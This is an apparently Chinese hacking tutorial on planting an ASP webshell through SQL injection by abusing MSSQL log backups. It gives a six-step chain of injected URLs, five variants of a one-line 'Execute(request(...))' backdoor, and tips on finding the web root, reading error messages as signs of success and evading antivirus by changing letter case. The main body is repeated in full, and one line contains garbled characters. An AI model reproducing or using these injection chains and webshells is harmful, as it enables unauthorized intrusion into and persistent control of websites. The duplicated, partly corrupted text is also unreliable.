当SQL注入是得到DB权限时候,接下来能够做的工作很多,象找管理员密码,后台管理这些都能够帮助您拿到WEBSHELL,但是这篇文章讲的是log备份,LOG备份出来的小马的体积小,而且备份的成功的可性很大,所以是我作为对DB权限的第一种试探方法.
但是在LOG备份中,我们经常会碰到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,假如没有返回正常的页面,我们就能够根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%Execute(request("go"))%
%>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:xxxxxxasp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们能够将
values中的内容能够进行更换的方式,当我们的一种方式不行的话,就能够换另一种方式,当任何的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,能够提换的内容有:
a).<%%Execute(request("go"))%%>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%Execute(request("l"))%>
2.LOG备份要注意的一些问题:
a).要注意您现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文档
b).当您确定您要找的确实是WEN主机时,就能够找他的站点目录了,这个也很重要,是步骤5的操作,假如备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,您就eBF梢允4着用客户端去连接,这个地方也有人弄错,现在用的字段是go,您的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当您的显示500错误时,请您将的IE错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
时候表示您已成功了,连接吧!!
e).更有极端的时候您备份出来的一句话被杀(当您确定您确实是备份在WEB主机的对应目录是),您能够将
上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..
但是在LOG备份中,我们经常会碰到一些很让我们头痛的问题,那就是闭合的问题,我在这里做个总结,也
好让我们对不能闭合的方法有一个全面的了解.
1.先介绍下LOG备份,这个相信大家都很熟悉了,我还是习惯在IE里直接提交,返回正常的页面就说这一步的操作就成功了,假如没有返回正常的页面,我们就能够根据IE返回的错误来找他的原因.(这里说下要将IE的错误提示给打开),LOG的格式如下所示:
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:cmd' with init
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%Execute(request("go"))%
%>')--
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:xxxxxxasp1.asp'--
http://www.site.com/xx.asp?id=xxx;drop table cmd--
分为6步操作,最容易出错的就是第4步的操作,经常返回没有闭合的问题,下面就是一些我们能够将
values中的内容能够进行更换的方式,当我们的一种方式不行的话,就能够换另一种方式,当任何的方式
都换完了,没有什么好说的,要么就放弃,要么就换另一种方式继续,想列目录找数据库下载,后台.这
里就不多说了,能够提换的内容有:
a).<%%Execute(request("go"))%%>
b).<%Execute(request("go"))%>
c).%><%execute request("go")%><%
d).<script language=VBScript runat=server>execute request("sb")</Script>
e).<%Execute(request("l"))%>
2.LOG备份要注意的一些问题:
a).要注意您现在的机器是不是WEB主机,简单的方法就是翻他的目录,看有没有IIS安装的文档
b).当您确定您要找的确实是WEN主机时,就能够找他的站点目录了,这个也很重要,是步骤5的操作,假如备份到一个错误的目录,当然就没有办法访问了
c).备份成功后,您就eBF梢允4着用客户端去连接,这个地方也有人弄错,现在用的字段是go,您的客户端的
相关字段也为go
d).用ececute正常备份出来的是用错误提示的,当您的显示500错误时,请您将的IE错误提示打开,当显示
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'execute'
时候表示您已成功了,连接吧!!
e).更有极端的时候您备份出来的一句话被杀(当您确定您确实是备份在WEB主机的对应目录是),您能够将
上面的VALUES字段中的值做几个大小写转换,一般是没有问题的..




